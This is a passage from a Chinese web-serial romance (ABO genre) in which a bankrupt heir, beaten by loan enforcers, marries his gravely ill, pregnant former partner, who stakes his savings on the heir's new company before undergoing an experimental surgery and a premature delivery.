谢不辞想反驳两句,但苏以安吃的苦比他多多了,谁也瞒不住谁。 知道再谈下去就要没得了说了,苏以安便转移了话题:“咱俩老二现在四个月大了,已经能感受到胎动了。” 四个月。 挺快的。 忽然这么一说,谢不辞才注意到原来时间已经过去这么久了。 他家老二都这么大了,也该有胎动了吧? 那苏以安还好吗? 他现在身体怎么样了,还像最开始刚知道有老二那会一样辛苦吗,还需要像怀着雪团那会似的,因为得罪了谁需要东躲西藏不敢让人知道他怀孕吗…… 谢不辞不敢问。 怕听到好的答案。 那会让他有一种自己已经跟苏以安是两个世界的人了的感觉。 这种时候谢不辞自己都唾弃自己的卑劣。 他知道苏以安带着雪团离开了他,就像终于甩掉了个压在身上多年的沉重包袱。 但他就是希望苏以安是他的私有物。 同样的,他也怕听见不好的答案。 因为无论如何,始作俑者都是他。 后面他们两个一直在有一搭没一搭的聊着什么,都在避重就轻的说一些没有营养的东西。 等话题不知道怎么又转到雪团身上的时候,苏以安才对着谢不辞之前发消息说想办法把雪团的户口转走的那句话做出回应。 “你一开始就知道的,雪团姓谢,我从来没准备让他跟着我姓。” “他是我的孩子,他很爱我。” “他姓什么我都不会抛弃他,我给他上户口那会就什么都考虑过了,包括你有可能破产这一点。” 谢不辞不知道该接什么。 包括他们家有可能破产这一点。 该说不说,苏以安挺有远见的,这种烂情况,谢不辞自己都没料到。 不是没有危机意识,也清楚树大招风,没有永远一家独大的道理。 他只是没想过,万丈高楼可以一夜倾塌。 谢不辞叹了口气。 他没忘,雪团这个孩子,是苏以安为了报复他专门生下来准备扔给他的,如果是给他之前考虑过他们家会破产,那不就是没准备管孩子死活吗。 “你之前考虑的跟现在考虑的那能一样吗。” 苏以安还特意思考了一下,随后淡淡回答:“不一样。” “但是重点似乎应该是,你为什么落魄成这样都不动雪团的钱?” 谢不辞从来没打过雪团压岁钱的主意,从来都没有。 他无数次的觉得自己早就走投无路了,但依旧没有过哪怕一次,觉得拿雪团一点钱东山再起,事后还给孩子的念头。 他解释不出来为什么。 不过他明白,苏以安是想要他的态度。 “我在我爸住院的那天就想好了,你不要雪团的话,这笔钱就是雪团全部的保障了。” “再怎么样都不会饿死我的,我也是孩子爹,我怎么能动他的钱。” 苏以安没相信。 他觉得谢不辞还没困难到不动孩子的钱就活不下去那份上:“那如果我不帮你呢?” “你一直都有权利不帮我呀。” “但是我不会动雪团的钱。” 他们没有继续就这个话题讨论下去,后面苏以安替谢不辞交了他爸所有的治疗费和住院费。 这种重大疾病,留在老家县城是几乎没有可能治好的,说不好听一点,无非就是在医院吊着一口气。 他们一家又在医院待了几天直到谢不辞他爸精神好一些才开始往大医院赶。 治疗手段对身体也不是没有伤害的,会出现一系列的并发症,留给他们转院的时间其实并不长。 谢不辞觉得,回老家至少可以保护他爸妈,兜兜转转了一大圈,结果还是绕回了原点。 转到大医院就意味着,治疗费和住院费更贵了。 挂过专家号的都知道,这玩意又贵又难抢。 后面苏以安没有继续留在医院帮忙,只是偶尔会带着孩子过来看看,照顾他爸的主要还是谢夫人。 因为,没法创业,就需要些别的手段来挣钱。 至少要先把医药费还上。 谢不辞出去尝试着找了些能应急干一干的工作,跑外卖,发传单,进工厂,反正能试的方法都试了。 但攒了很多天,也才只够他爸一天的药钱。 挺绝望的。 而且越是这种时候,就越容易出现意外。 比如今天谢不辞刚把传单发完,收下老板给他转的一百块钱,就在回家路上遇上了一大群挡在他面前的人。 说是某某网贷的。 让谢不辞把借他们的钱一次性还清。 为首的那人谢不辞眼熟,却想不起来到底在哪见过。 那人染着一头小红毛,吊儿郎当的拿着支烟,抽得特别装b,对着谢不辞说话的声音也嚣张:“欠我们钱还不知道赶紧还?” 谢不辞反驳:“还没到一个月呢。” “而且你们协议上也没有说一定要一次性还清,现在找我追什么债?” 谢不辞懒得搭理他们,就现在站他面前这种人,以前看见他屁都不敢放一个。 他根本没把人放眼里。 只是对方摆明了就是故意来闹事的。 红毛暴躁的把烟扔到地上踩灭,还朝地上吐了口口水。 “我去你妈的,什么协议不协议,协议还不是老子写的。” “让你还钱就还,借的谁的钱不知道吗?” 谢不辞不耐烦的准备转身就走。 到这会他也看出来了,这帮人就是圈子里有看不惯他的人故意找他事呢。 红毛见谢不辞要走,觉得自己被轻视就更来劲了,他粗暴的扒拉过谢不辞的肩膀。 但手刚碰到谢不辞的那一瞬间就被谢不辞一个过肩摔甩到了地上。 第82章 第 82 章 脾气上头上动手的时候谢不辞还没觉得有什么不妥的, 直到听见红毛捂着脑袋骂他的声音,谢不辞才猛然惊醒。 他又跟人打架。 打架,就意味着要么打赢赔钱, 要么打输等着别人赔他钱。 又把自己架在火上烤。 谢不辞不知道这红毛是谁手底下的人, 但很清楚他背后的那位, 能收购一个他借了贷款的公司, 就能收购所有。 能请来一个红毛闹事, 也就能再请来一堆。 他在外面也就算了,如果闹事的去了医院,对着在病房里守着的他妈破口大骂还带着人格侮辱,没准还要动手,他妈妈又该怎么招架。 他爸心脏不好。 真到这个份上,人要是抢救不回来了,谢不辞哭都没地方哭去。 这个念头从脑海里冒出来的一瞬间, 深深的疲惫感涌上心头。 那红毛爬起来以后先是照着谢不辞脸上来了一拳,打得他身形踉跄,差点撞上路边的电线杆。 他没还手, 也没有下一步动作。 像是站在原地任人宰割。 说实话真的打起来, 他不是打不过这一群人。 以前拳击格斗谢不辞都学过一些, 像所谓的富家子弟那样,全面发展。 不过谢不辞不是什么正经孩子,没一样是喜欢又认真学过的。 所以最多最多也就只能到,打的赢,但是他讨不到好的份上。 以前经常见的那种,类似于一群人霸凌一个人的场面真实发生在自己身上, 谢不辞还自认为特别聪明的把自己比较重要的部位都保护住。 身上被打得青青紫紫的,就算他已经尽力把脸和脑袋挡得严严实实的了, 谢不辞也还是感觉到了自己有鼻血在往下流。 直到被打得眼前开始泛起血红色,谢不辞才猛然意识到—— 这些街头混混搞不出什么新鲜的来,可花钱雇他们过来的人能让他们下这么重的手,就绝对不可能只是想找人打他一顿。 他奋力把扒开不知道是谁踩在他身上的脚,艰难的拖着已经没一块好地方的身体,就近找了两个人胡乱给了两拳,就慌不择路的逃跑。 那群人似乎没料到谢不辞还敢反抗,等反应过来的时候,谢不辞已经跑出去好几米远了。 嚷嚷着要追,动静闹得挺大的,但也没什么人真的追过来。 细算起来,那红毛也许根本不认识谢不辞。 说到底,就是个拿钱办事没见过什么世面怕惹大麻烦的。 谢不辞绕了好几个弯才做好心理准备回家。 他家里也没有人,苏以安没提前告诉他带着雪团去了哪里。 但顶着这副人不人鬼不鬼的样子回来,谢不辞有点庆幸老婆孩子都不在家。 他这人天生就带点死要面子,不愿意比较亲近的人看见他狼狈的一面。 他先是回家换了身衣服,又找出医药箱敷衍的给脸上比较明显的破了皮的伤口消毒。 等搞完这一套流程,谢不辞才发现,在刚才那场激烈的挨打过程中,他手机屏幕上也多了好几道裂痕。 他原本想给他妈打个电话说今天还有事,先不去医院了,让他妈也早点休息注意身体,结果刚按亮屏幕,就看见了沈伊的来电信息。 沈伊很忙,不会平白无故的给他打电话。 他俩能交流的,只有苏以安的病情。 谢不辞看见那备注心里就要咯噔一下。 如果不是病情恶化这种情况紧急的事情,沈伊只会特别公事公办的给他发个消息稍微跟他提一句。 谢不辞没敢耽搁,手比脑子先做出反应,按下了接通键。 “在不在这边?苏以安刚抢救回来,我联系不到其他跟他比较熟的人,今天晚上需要个看着他的,护工我不太放心。” “你有空就来一下。” “……有空。” 沈伊没跟他废话,交代完了就挂了电话,没给谢不辞留多问一句的机会。 谢不辞匆匆穿上外套,又开始往苏以安所在的医院跑。 沈伊刚才跟他说话的语气不太好,所以按谢不辞的猜测来看,要么是病情变得越来越棘手,要么就是苏以安这次发病,是被谁故意害的。 着急忙慌的跑到沈伊发给他的病房号,谢不辞看见沈伊正带着几个小护士围在门口不知道说着什么。 见他过来,才让那些其他人离开。 沈伊先是翻了翻病历本,然后特别贴心的筛掉专业名词,跟谢不辞交代了一下苏以安现在的情况。 简单总结一下就是,好不容易控制住没有继续恶化的病情又一个没注意就进入到了更严重的阶段。 而且他家老二情况也不太稳定。 今天还见了红。 觉得沈伊说得差不多了,谢不辞才敢开口问:“为什么会忽然变成这样?” 他也就只敢问问沈伊,真的是人为故意伤害的话,问当事人,就有种要反复把人家伤疤揭开看的冒犯。 “要不你猜猜。” “这怎么猜啊?” 谢不辞知道沈伊是想让他猜是谁有动机对苏以安下手,但从他俩的关系和在圈子里的名声来看,这没法猜。 “是钟漫川。” “钟家人有种特别让人不理解的大男子主义思想,他就觉得苏以安是钟家的私有物,不尊重苏以安,也不接受他失去控制。” 这话谢不辞就听不明白了:“所以他妈的不受控制就想弄死苏以安啊?” “这么法外狂徒?” “不是,是想给点颜色看看。” 沈伊叹了口气。 这种病根本就不能遇上有坏心眼的人,有的alpha就是道德败坏,非得有毛病似的就要拿信息素搞你一下看看你到底能不能死。 钟漫川就是最典型的这种人。 也许谢不辞不清楚,但沈伊深知,如果再遇上这样的情况,可能就真的需要把人关在特定的治疗室里了。 后面谢不辞几乎全副武装,确定了绝对一点信息素都不会泄露出去,才一言不发的走进病房。 病床上躺着的人也不知道是什么时候醒过来的,就躺在床上往窗外望,听见门口有动静也没有回头。 直到谢不辞坐到病床边,苏以安才注意到他。 不过首先注意到的,是谢不辞那肿起了大半边的脸和额头上没完全擦干净的血污。 两个人面对面没说话,但谢不辞先受不了这诡异的氛围,有些难为情的低下头:“那个……小伤,算不得什么大不了的事情,打个架而已,你别看了。” 他没明说,但是苏以安能猜到。 谢不辞早就过了那个说话不经过大脑,随随便便就能跟人打起来的年纪,跟人打架他还是被打的那个,只能说明是有追债的。 这不让人意外。 “疼吗。” 谢不辞完全没预想到苏以安会这么问他,有些诧异,但随后意识到苏以安在关心他,心里明明跟炸开了烟花一样,表面上却什么都没显出来:“就这么点小伤,根本不叫事。” 苏以安状态挺差的,脸上没什么血色,光是看起来,都让人觉得他连呼吸都是费力的。 谢不辞没抬头,也能感觉到苏以安在盯着他看。 “没破相的时候你不看,现在丑了你倒是盯着我,你这人咋这样。” 这话说完,没得到一点回应。 谢不辞以为他又说错了什么话,还小心翼翼的去观察了一下苏以安的表情。 于是在他俩视线相撞的那一瞬间,谢不辞听见了苏以安的声音:“我们结婚吧。” “……啊?” 毫无征兆的一句话。 也不知道话题是怎么扯到这里来的,但苏以安不像开玩笑的意思,在谢不辞怀疑自己的时候,又朝着他重复了一遍:“我说,谢不辞,我们结婚。” “为啥啊?” 他家还有钱的时候,他要是敢提结婚,苏以安绝对给他俩耳刮子,现在他一穷二白,还带着不少负债。 嫁给他? 图什么啊? 苏以安也没准备跟他解释,自顾自的继续往下说:“我看过你那套企划了,虽然看不明白是不是个好方案,但我看得懂你大概需要多少钱。” “我这么多年攒下来的那些,大概比你需要的投资还多一点,足够你带着雪团生活。” “不过谢叔叔的医药费,就要靠你自己去挣了。” “雪团在沈伊的办公室,你出去看孩子吧,不用管我了。” 这不是在征求谢不辞的意见,像是苏以安自己不知道寻思了什么,深思熟虑半天,做出个决定,然后通知谢不辞。 这次谢不辞没老老实实听话,还把椅子挪了挪,离苏以安更近了一些:“你为什么这么做?” “钱和权才是说话的底气。” “我活不长了,我不可能去赌原来那些看不惯你我的人不会去害我,不会去害雪团。” “既然一定要攀附,那我情愿压上我所有的身家,投奔你,将你当成我和孩子的庇护所。” 都成年这么多年了,谈爱不爱太幼稚了。 一张结婚证说明不了什么,但结婚以后谢不辞真能东山再起,那他挣来的每一分钱,都是他们俩的共有财产。 钱才是真正的保障。 就算后面谢不辞出轨,只要他爱面子的本质没有发生变化,这个世界上不敢得罪谢不辞的所有人,就都不会敢给苏以安脸色看。 也不可能出现谢不辞抛妻弃子的场面。 因为好面子的人不会做出让人纯脊梁骨的行为。 这是最优解。 孩子是苏以安亲生的,他放弃什么都不能不为孩子做打算。 过去的伤害既然已经造成了无法改变,就没必要一直被困在原地。 其实苏以安自己也意识到了,他对谢不辞的感情挺复杂的。 他能理性的做出决定,把对自己的伤害降到最低,却唯独在遇到的事情跟谢不辞沾边的时候次次乱阵脚。 谢不辞沉默许久,他松开不知道什么时候紧握住病床栏杆的手,哑着嗓子询问:“你有什么条件。” “不给雪团找后妈后爸,不准弃养,咱家老二生得下来的话,跟你姓,挂你户口,善待这两个孩子。” “我死以后,不准把人带到孩子面前乱玩乱搞。” 没有一条要求是过分的。 谢不辞半天都说不出一句话来。 苏以安该是恨透了他的,可因为没有亲人,没有可以依靠的人,又很爱自己的孩子,才一步一步被迫妥协。 把希望寄托在了他身上。 “对了,帮我老师养老。” “还有出去以后问问沈伊什么时候可以出院,出去就领证。” 之前在谢不辞想问他出去一天是干什么去了的时候,苏以安就已经把户口那边的所有事情都处理好了。 他早就有这个想法。 只不过,一直担心这都是谢不辞没走到绝境的假象。 真正让他下定决心的,就是刚才,他看见谢不辞被追债的人打到鼻青脸肿还能呲个牙跟他说没事不疼的那一秒。 也许有的人可能就是,渣归渣,人品是没有问题的。 可以依靠,但不能不留后手。 第83章 第 83 章 谢不辞从病房出来, 靠着走廊里的墙抬头盯着天花板望了好久。 他从没想过,破局的方法,会是苏以安压上全部身家说相信他, 等着他站起来攀附他。 这会脑子里乱乱的, 心情也有点复杂。 不是怕肩上的责任太重, 只是有点接受不了自己似乎没有做出什么弥补苏以安的行为, 却还接受了对方竭尽所有替他铺出来的路。 那太既要又要了。 谢不辞走到沈伊办公室, 先是礼貌的敲了敲门,听见门内的人给回应才推开门走进去。 沈伊不知道去忙什么了,办公室里只有一个看起来很年轻的护士小姑娘围在婴儿车跟前带着雪团玩玩具。 “是孩子爸爸吗,沈主任说您来的话让您把孩子带走。” 护士简单跟谢不辞交代了一下孩子什么时候喝的奶粉就离开了。 留雪团一脸茫然的抬头望着谢不辞:“爸爸,你咋啦?” “这是……爸爸的新造型,这种造型很难得的,跟你说了你也不懂。” 孩子小, 好忽悠,谢不辞还能含糊过去。 “挨打。” 听清楚这两个音节时,谢不辞还有点没反应过来, 等意识到雪团是什么意思, 那胜负欲立马就被激起来了。 “什么玩意就挨打。” “你个小孩你懂什么, 这叫打架。” “打架是什么意思知道吗,我先动的手,我还还手了,这叫互殴,我哪里挨打了。” 说的都是实话,除了省略了一点点他不太聪明不知道跑的中间内容。 雪团确实不懂, 他只能看出谢不辞受了伤,于是就又重复了一遍:“你挨打疼不。” “咋打架呢?” 童言无忌。 他不明白, 所以他没有那么多的弯弯绕绕。 他只能看见谢不辞脸上渗出了血珠与细胞液的伤口,然后问谢不辞疼不疼,受了伤应该怎么办。 爱是真的爱。 这种笨拙又真诚的表达方式,别说苏以安难以招架了,连谢不辞都觉得,抛弃这么爱自己的孩子简直罪无可恕。 “你看吧,打架不是好行为,你记住不要跟人打就好了,你爸比较幼稚。” 雪团哦了一声,谢不辞也不知道他听进去了多少。 他把放在一边的衣服给孩子套上,然后准备抱着孩子离开。 但刚出门没走几步,等电梯的间隙,又遇上了刚查房回来的沈伊。 沈伊打量了谢不辞一下,见他愁眉苦脸的,就站在他身边多问了一句:“怎么,去病房看他这么短的时间里,不会又吵了一架吧?” “那倒是没有。” 谢不辞知道,苏以安几乎不会跟他讲玩笑话。 苏以安这个性格的人,尤其是在这样的人际关系里长大,说出口的每一句话都是经过深思熟虑的。 “他跟你说什么了?” “他说……他说他要死了。” 沈伊愣了一下,未置一词。 到这里,谢不辞就有了一定的心理准备。 主治医生都不反驳,只能说明情况是真的不太乐观。 谢不辞叹了口气,继续道:“还说要跟我结婚。” 他没有讲苏以安说要攀附他那一套,也没指望等电梯的这不到两分钟的时间里沈伊会跟他多说什么。 但这次,谢不辞破天荒的听见了沈伊的评价:“其实从某种意义上来讲,你们俩也挺般配的。” “你可以用他的钱,别辜负他就好。” 苏以安这人心思敏感,道德感也挺强的。 在他的思想观念里,就应该白纸配白纸,报纸配报纸。 他做不出带着那样的过往去找个家庭条件过得去,人品还不错,又对他很好的老实人过日子这种事。 谢不辞对他有亏欠,谢不辞自己也承认。 那等到谢不辞真的有机会站到顶峰时,他就可以心安理得的闯祸,再把烂摊子扔给对方解决。 “财产方面,记得找个靠谱一点的律师,我就不多嘱咐了,经历了这么多,我相信你。” “起码相信你的为人。” 不知道是不是谢不辞的错觉,他觉得沈伊说这些话的时候,神情有些奇怪。 却又说不上来具体是哪里不对劲。 这个时候电梯门打开,谢不辞简单跟沈伊告了个别,随后看着电梯门缓缓关闭,把他们两个隔绝在不同的空间里。 沈伊是医生,苏以安的命掌握在他手上,有点压力也正常。 再换个角度想想,沈伊还挺喜欢苏以安的呢,硬要说的话,听见他们俩准备结婚,心里不是滋味也在所难免。 带着雪团回了家,谢不辞联系了以前跟着他爸最久的那个秘书,请人找个以前靠谱的律师过来。 之前准备做的项目需要多少钱,谢不辞算了无数遍。 这会苏以安说全数给他,他也做不到心安理得的接受。 于是在拟定结婚合同的时候,连带着给苏以安写了一张借条。 结婚后归还,仍是苏以安的个人财产,出现变故需要离婚也不予分割。 保障和诚意一样都不能少。 现在谢不辞没什么拿得出手的东西,也给不出靠谱的承诺。 律师把合同拟好以后,谢不辞还反反复复的确认了很多遍,才敢拿到苏以安面前。 再进病房的时候已经是第二天了。 苏以安所在的那个单人病房安静得有些可怕,除了还能见到些阳光,给谢不辞一种进了局子的压抑感。 他把合同和借条都拿到苏以安面前,怕人没耐心看,谢不辞还主动把比较重要的条款都给当面念了一遍。 苏以安只平淡的拿起借条看了一眼,然后苦笑着调侃:“给我写借条,我还得写个遗嘱把钱留给孩子,麻不麻烦啊。” “你的就是你的,孩子我会单独给留。” 谢不辞听见这话挺难过的,但又说不出什么,只能干巴巴的接话,连句安慰的都说不出来。 苏以安确实没仔细看那张合同,直接就在上面签上了自己的名字,然后起身找外套,招呼谢不辞出去领证。 “看都不看,就不怕我又坑你吗。” “用人不疑。” 言外之意,便是怀疑谢不辞,就根本不会把钱借给他,也不会把孩子交给他。 两人一路无话的走到民政局,各怀心事,谁的表情都不太好看。 往那排队的地方一坐,不知道的还以为是对过来离婚的怨偶。 能娶到心心念念的人,谢不辞自是开心的。 可苏以安没有一点高兴的样子,只是机械性的完成任务,谢不辞也笑不出来。 以至于他们拍出来的红底照片,都显得他们不太熟一样。 手里拿着两个红本本走出民政局时,谢不辞还特意拍了个照片纪念一下,同时在开车送苏以安回医院的路上,纠结了许久才开口:“我以后……会给你补一个体面的婚礼。” 苏以安摇了摇头:“有这个钱,不如留着给雪团上学用。” “况且沈伊也说过了,二宝不一定健康,需要钱的地方很多,别浪费在这种可有可无的事情上。” “我不需要仪式。” 谢不辞听不出来苏以安是真的觉得婚礼没有必要还是他不想让人知道他们两个结婚了。 为了防止产生矛盾,也就没再就着这个话题往下进行。 只是他们两个人都执拗,谢不辞不会在这种事情上委屈了他。 毕竟他们现在已经是合法夫妻了,这点底气还是有的。 况且在上流圈子里,仪式搞的有多隆重,就代表着谢不辞对苏以安的承认度有多高。 不能让人因为这些去戳苏以安的脊梁骨。 回了医院,谢不辞能明显感觉到苏以安的脸色越来越差,人也越来越沉默。 他猜不出苏以安是什么想法,每次想凑过去问一问,苏以安都会拿工作更重要作为借口搪塞过去。 后面谢不辞将钱真的投进项目,要忙的事情就越来越多,很多时候把雪团带在身边,都要雪团喊他很多次告诉他饿了,他才想得起来孩子还需要吃饭。 大多数时候他自己忙得,一天只吃得上一顿饭。 凌望确实记恨他,现在他手里有了钱,就开始拆他的路。 绝大部分工作都因为技术岗招不到合适的人而停滞不前,新公司成立初期,除了以前跟了他爸很久对他们家有感情的老人,基本也招不到员工。 大大小小的事情都是谢不辞亲力亲为。 等谢不辞腾出空闲时间来想着往家里打电话的时候,几乎都是深夜了。 谢夫人会偶尔因为想见见雪团专门等到深夜,等着谢不辞的电话。 但苏以安那边不好说。 不管谢不辞白天打还是晚上打,电话极少有接通的时候,就算接了,也只是很敷衍的说几句话。 谢不辞再钝感,都能感受得到苏以安不想理他。 今天工作相对少点,因为缺乏技术,谢不辞基本看不见回头钱。 压力挺大的。 他都把自己这当成是小破作坊了,也还是没招到一个合适的员工。 连应届毕业生都没有。 今天临近天黑,谢不辞给苏以安打了个视频过去。 最近苏以安在镜头里看,人消瘦了好多,也没什么精神。 他们依旧没什么可聊的,只客套几句,话题还主要围绕着孩子转。 这种交流持续的几天里,谢不辞无数次希望雪团不要那么懂事,偶尔哭一哭闹一闹,起码他就有的说了,没准运气好还能看见苏以安的表情。 强行找话题也没什么意思,谢不辞挂掉视频,就又给沈伊打了电话。 问苏以安现在情况怎么样。 沈伊接电话也含糊其辞:“也就那样吧,他什么状态你不是看不到,情况挺复杂的,我不好跟你讲。” 他这话一说完,谢不辞心凉半截。 自谢夫人知道他俩结婚以后,就跟谢不辞他爸商量好了转到了苏以安在的这个医院。 虽然不是专项,但沈伊有人脉,给他们找了业内比较权威的专家。 谢夫人说,她可以两头照顾着。 话是这么讲,可谢夫人自小就是养尊处优的大小姐,嫁给他爸以后这么多年也没干过什么活,怎么可能能做到一下照顾两个病号。 得知他爸也转了院当天,谢不辞就给他爸找了护工。 苏以安那里情况特殊,他不敢给沈伊添乱,只能偶尔在他妈那里打听一下情况怎么样了。 时间越过越快。 他爸的病情已经趋于稳定,专家建议保守治疗,后面再多观察一下。 可苏以安那边的情况,沈伊始终不愿意多说。 冬天马上就要过去,三月份的天已经没那么冷了,也不至于六点就完全天黑。 谢不辞趁着雪团睡着,对着外面只有微弱月光的夜色点了支烟。 他开始怀疑自己那样拒绝凌望是不是有些太冲动了。 路本身就难走,得罪了人更举步维艰。 一支烟燃尽,谢不辞原想收拾收拾就先休息,却在定第二天早上起床闹钟的时候,发现了沈伊给他传来的文件消息—— 苏以安的产检报告。 【正文完】 第84章 第 84 章 谢不辞看见文件名的时候还有些心跳加速。 意识到沈伊没直接给他打电话, 就不会是什么特别差的消息,才深吸好几口气做心理准备。 打开文件,上面检查结果有图有字的。 专业术语有点多, 他看的一知半解的, 一边看一边还上网搜着。 孩子的情况确实不太差。 时间过得真的很快。 他家老二现在都六个月大了。 孩子应该早就有了胎动, 可苏以安没有跟他说过。 就算是怀了老二, 谢不辞也没尽到什么孩子爹该尽的责任。 他可真不是个东西。 想着买点什么去看看苏以安, 但仔细回忆一下,苏以安除了喜欢他之前专门去买的那种麦芽糖,好像也没什么爱吃的。 而且他现在处于一个微妙的窝囊阶段。 买东西去看苏以安,花的还是苏以安钱。 他不好意思。 但是往好处想想,人总不可能一直点背吧?生活都给了他这么多个响亮的巴掌了,该让见见甜头了吧? 后面谢不辞去医院看了一眼他爸,又抱着雪团去苏以安那坐了一会。 怀孕六个月, 怎么都不会让人看不出来,只不过苏以安太瘦了,只有肚子上能看见点肉。 沈伊专门给开小灶做的饭, 看起来就挺健康的, 健康得让人除了维持生命体征, 一点世俗的欲望也没有。 别说吃了,谢不辞哪怕多看两眼,都觉得自己能瘦两斤。 吃这种东西吃久了,也难怪看上去跟抑郁了似的。 换谢不辞被关小屋里吃这玩意,不让出门不让接触人,他只会看起来更要死不活。 苏以安说, 让他把雪团留在医院几天,等过两天再接走。 听见这话谢不辞的第一反应就是, 所有人都在瞒着苏以安的病情,知道不乐观,却始终没人告诉他到底糟糕到了什么程度。 现在连孩子都要苏以安亲自带了。 谢不辞从医院离开之前,拽着雪团左一句右一句的嘱咐,一定要听话,要好好吃饭,记得照顾爸爸。 其实他自己心里也清楚,雪团很聪明很听话,什么都明白,也不会故意惹苏以安生气。 但他就是不放心。 他没见到沈伊给用药的时候带出了多少药物不良反应,也不会知道苏以安整宿整宿睡不着对着手机屏幕发呆的时候脑子里都在想什么。 不过谢不辞听见了苏以安跟沈伊说的那句:“我可以多受些苦,只要能保证我的孩子平安来到这个世界就好。” 谢不辞还专门给苏以安打了电话问他为什么要这么做。 人死了,就什么都没有了。 然而苏以安却回答他:“你不会明白的,那是我生命的延续。” “孩子什么都不懂,也没有受过乱七八糟的苦,你只要给留了足够的钱,就可以规避掉百分之八十的苦恼。” “就算你混的不怎么样,那些钱足够雪团在小县城衣食无忧。” 也许是两人对着电话沉默的时间有些长,苏以安也意识到了这么说似乎不太妥当,便补了一句:“养两个孩子应该也……不成什么问题。” …… 净说点子谢不辞不爱听的。 以前总有那种,不要跟病人计较的思想,这会也不知道是不是把雪团留医院,被苏以安整生离死别这套刺激到了,谢不辞也没客气,一个字不差的全给苏以安怼回去。 “你能不能说点吉利的。” “咋还能三句话把一家子三个人全咒一遍呢。” “……哦。” 可能倒霉多了就该转转运了。 物极必反否极泰来。 挂断苏以安那边的电话以后,谢不辞就收到了蒋泽的消息,说有个一直在国外留学的发小能给谢不辞技术岗引进个名校高材生。 是那种家境不太好的纯外国人,也不怕得罪圈子里的谁,谢不辞敢用,他就敢跟过来。 唯一的要求就是,现在谢不辞开不了高薪也给不出什么像样的承诺,得把公司股份分给对方一些。 谢不辞当然欣然应允,后面加了人家高材生的好友以后,定好了接机时间,他亲自去把人接到自己公司。 高材生说他的中文名叫元宝,是蒋泽发小给取的,寓意好,也招财。 人看起来就很老实,很符合谢不辞对工科生的刻板印象。 而且话少,是个干实事的。 他来了以后,之前卡住的工作全都在往下运行,连着好几天,谢不辞都只能抽空给他妈和苏以安发个语音,匆匆说句话就又被工作拽走思绪。 谢不辞家里也不是没有人脉,只不过之前大家都怕他们来借钱,怕他们找上门来求他们去搭人情而选择躲着。 这会谢不辞自己有钱有能力,谁也不想落得个多年情谊背信弃义的名声,愿意拽谢不辞一把的人不少。 然后就给了谢不辞算账的机会。 凌望,钟漫川,还有季文璟那个烂到骨子里的凤凰男的爹。 给点材料稍微举报一下,就能扯出他们一大堆见不得人的东西。 谢不辞还专门找律师问了问,基本每个人都得十年起步。 然后他又从沈伊那边要来了药品化验单,苏以安的病历之类的,告诉律师不接受私了不接受补偿,怎么严重怎么争取。 这中间都忙得晕头转向的,等谢不辞把手头第一个项目搞定,挣的钱都到手里以后,就已经过去了将近两个月。 雪团大多数时间都是跟在苏以安的病房,谢夫人和苏以安轮着带,谢不辞能抽出空去看望他们的时间,大多都是凌晨。 谁也没醒着。 等从公司离开,谢不辞准备苏以安的时候,刚锁好门就恰巧看见了沈伊打来的电话。 电话接通,两人象征性的打了个招呼,然后沉默着谁也没开口。 沈伊越是这样,谢不辞就越害怕。 “兄弟,你要是跟我说你已经尽力了让我节哀,你就别说了。” 话音落下,依旧没有回应。 “要不让我去见最后一面这种话也别说了呢?” …… 这下沈伊搭理他了:“那你来不来。” …… “马上到。” 虽然电话里没说是什么情况,但沈伊向来专业又冷静,无论多紧急的情况都处理得有条不紊。 从来没出现过打了电话却不知道说什么的情况。 一路上谢不辞脑子都乱乱的。 人在焦虑的时候,总是会把所有最坏的打算都脑补一遍,哪怕根本不知道发生了什么,也像近乎自虐一般提前脱敏。 到了医院,谢不辞飞奔上楼,然后看见沈伊有些颓废的坐在手术室走廊的椅子上,手里攥着已经有些卷边了的纸。 “人呢?” 谢不辞气都还没顺就朝沈伊开口。 “里面呢。” “他在里面,你怎么坐这?” 这会谢不辞才注意到,沈伊穿的是手术服,显然是刚从手术室出来的。 他有些控制不住情绪,双手抓住沈伊的领子把人从座位上拽起来,朝着沈伊质问:“你能不能一口气把话说完啊,别那么让人着急行不行!” “坐吧。” 沈伊依旧淡定,谢不辞也不知道他到底在情绪稳定个什么劲,抡着拳头又锤墙又锤椅子的发泄了半天,才无可奈何的坐在沈伊身边。 “他跟你说,要跟你结婚,把钱都给你之前,我们签了协议,去给他试一项刚研究出来的,效果和后遗症都不明确的治疗技术。” “他认为,赌赢了是他赚了,赌输了也没什么的,反正人迟早都是要死的。” “所以你见到的他,脸色都不太好看,也没什么精力跟你说话,甚至这段时间被关得太难受了,他有时候也会冒出轻生的念头。” 谢不辞有些震惊,组织了半天语言也说不出一句话。 “他不让我告诉你,他说,如果没成功,你们所有人都可以当做他是病情恶化病死的。” “今天凌晨的时候,我们商量好,先把腺体摘除看看情况,如果情况不好,后面等孩子生下来,用药就不至于那么畏首畏尾。” 沈伊说话语速不慢,也很有条理。 也许是信息量有点大,谢不辞一时之间还有点接受不了。 “那现在呢?手术出意外了?” “你为什么不在要摘他腺体之前告诉我?!” “嗯,出了点意外,现在手术室里是产科大夫。” 谢不辞蹭的一下从椅子上站起来。 沈伊还挺了解他的,知道要让他平复一下情绪先坐下,真正的重磅还在后边等着呢。 “出了意外他也不会有太大的事情,因为特质菜难吃,伙食不好,孩子发育迟缓,明明已经八个月了,看起来最多也就只有七个月大小。” “挺难活的。” “谁他妈有心思管孩子。” 虽然还是急得要死,但听见手术再出现意外苏以安也不会出什么事,谢不辞还是稍稍松了口气。 毕竟沈伊专业,他是相信沈伊的。 “他在手术室里待了多久?” 这句话刚问完,手术中那个灯牌的灯就暗了下去,随后手术室的门被打开,主治医生从里面走出来。 沈伊跟谢不辞都着急忙慌的凑过去,结果因为紧张语无伦次,谁也没说出来一句利索话。 那主治医生和沈伊关系很好,因为不认识也没见过谢不辞,便直接朝着沈伊宣布结果:“你也大概知道最好的情况是什么样,别说兄弟不帮你,放心,没出什么事情,跟你预料得大差不差。” 沈伊松了口气,然后让主治医生换衣服离开,自己跟谢不辞解释。 “孩子早产,如果各项指标都相对正常的话,也需要住一阵子保温箱,他没事,还需要再观察一段时间,一会护士告诉你怎么照顾他,你不用紧张。” 不用紧张。 这他妈怎么不紧张。 还是跟沈伊混太熟了,知道沈伊是个什么样的人,沈伊一有点反常,谢不辞就开始后怕。 后面有护士领着谢不辞往苏以安那边走。 不算小手术,完事还需要再观察一段时间才能转回普通病房。 谢不辞隔着厚厚的玻璃,看着苏以安身上连着各种各样的仪器,插着粗细不一的管子,一下子就理解了什么叫喜欢是占有而爱是心疼。 他们好像已经,很久没有说过话了。 不知道怎么忽然变成这样的。 